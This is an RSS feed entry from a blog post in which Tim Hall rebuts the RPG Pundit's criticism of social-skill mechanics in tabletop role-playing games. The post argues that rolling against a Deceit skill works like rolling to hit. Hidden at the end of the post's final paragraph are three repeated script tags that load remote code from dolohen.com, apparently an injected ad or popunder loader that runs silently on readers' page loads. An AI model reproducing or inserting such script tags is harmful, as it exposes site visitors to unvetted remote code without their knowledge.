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	<title>Where Worlds Collide &#187; RPG Pundit</title>
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		<title>The RPG Social Skills Monster rises from the grave</title>
		<link>http://www.kalyr.co.uk/weblog/sf-and-gaming/games/the-rpg-social-skills-monster-rises-from-the-grave/</link>
		<comments>http://www.kalyr.co.uk/weblog/sf-and-gaming/games/the-rpg-social-skills-monster-rises-from-the-grave/#comments</comments>
		<pubDate>Thu, 22 Sep 2016 16:44:52 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Games]]></category>
		<category><![CDATA[RPG Pundit]]></category>
		<category><![CDATA[RPG Scoial Skills]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=16651</guid>
		<description><![CDATA[You are in a ten foot by ten foot room. Ahead of you stands a very obvious straw man argument. Roll for initiative.... <a href="http://www.kalyr.co.uk/weblog/sf-and-gaming/games/the-rpg-social-skills-monster-rises-from-the-grave/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>The RPG Pundit <a href="http://therpgpundit.blogspot.com/2016/09/using-mechanics-to-subsidize-actual.html" target="_blank">issues forth a pronouncement</a> from his lofty citadel.</p>
<blockquote><p>Some people have criticized my past blog entries where I argued that the best RPGs (like old-school D&amp;D) are superior at handling actual roleplay because they DON&#8217;T have any &#8216;social mechanics&#8217; and just make you actually play it out.</p>
<p>The common complaint is &#8220;RPGs should be fair to players though; it isn&#8217;t a competition; and if a player has a PC who should be able to do well at diplomacy or something like that, but the player himself is not very good at speaking or putting together arguments, isn&#8217;t it only fair that the GM give him a bonus??&#8221;</p>
<p>This isn&#8217;t really about being in &#8220;competition&#8221;, but it sounds like they&#8217;re saying that if you&#8217;re a really good roleplayer and come up with good ideas, you should roll with just your normal bonuses; but if the guy next to you is a moron who always thinks up dumb ideas or can&#8217;t roleplay worth a damn, he should get a Special Snowflake bonus so his feelings aren&#8217;t hurt.</p>
<p>Is that not going to create a sense of &#8216;unfair competition&#8217; from the people who do not get that bonus?</p>
<p>Doesn&#8217;t that look like favoritism?</p>
<p>As far as your character failing to do things he should be able to do: the question would be WHY do you feel your character &#8220;should be able&#8221; to do those things? In an OSR game you don&#8217;t have 30 points to dump in Diplomacy so you can wave it around like a Mind-Control Superpower to avoid having to actually come up with ideas or roleplay, so that&#8217;s out.</p></blockquote>
<p>You are in a ten foot by ten foot room. Ahead of you stands a very obvious straw man argument. Roll for initiative&#8230;.</p>
<p>I know the role-play vs. roll-play argument about social skills is as old as the hobby itself, and it&#8217;s a distinction between what are really two distinct but equally valid methods of play. But in all the RPG sessions I&#8217;ve played, including those with plenty of social skills on the character sheet, I have never, ever seen a GM treat social abilities as if they were superpowers.</p>
<p>When you think about it, what is the difference between:</p>
<p><i>Player: I hit it with my axe.</i></p>
<p><i>GM: Roll to hit</i></p>
<p>and this:</p>
<p><i>Player: I tell the palace guard I&#8217;m on official business and have got to see the king right now</i></p>
<p><i>GM: Roll against your Deceit skill to see if the guard believes you.</i></p>
<p>That doesn&#8217;t look much like a superpower to me. That&#8217;s how I have always handled social skills when running a game, and how most GMs I&#8217;ve encountered handled things as well.</p>
<p>Why, exactly, are well still having this argument?<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
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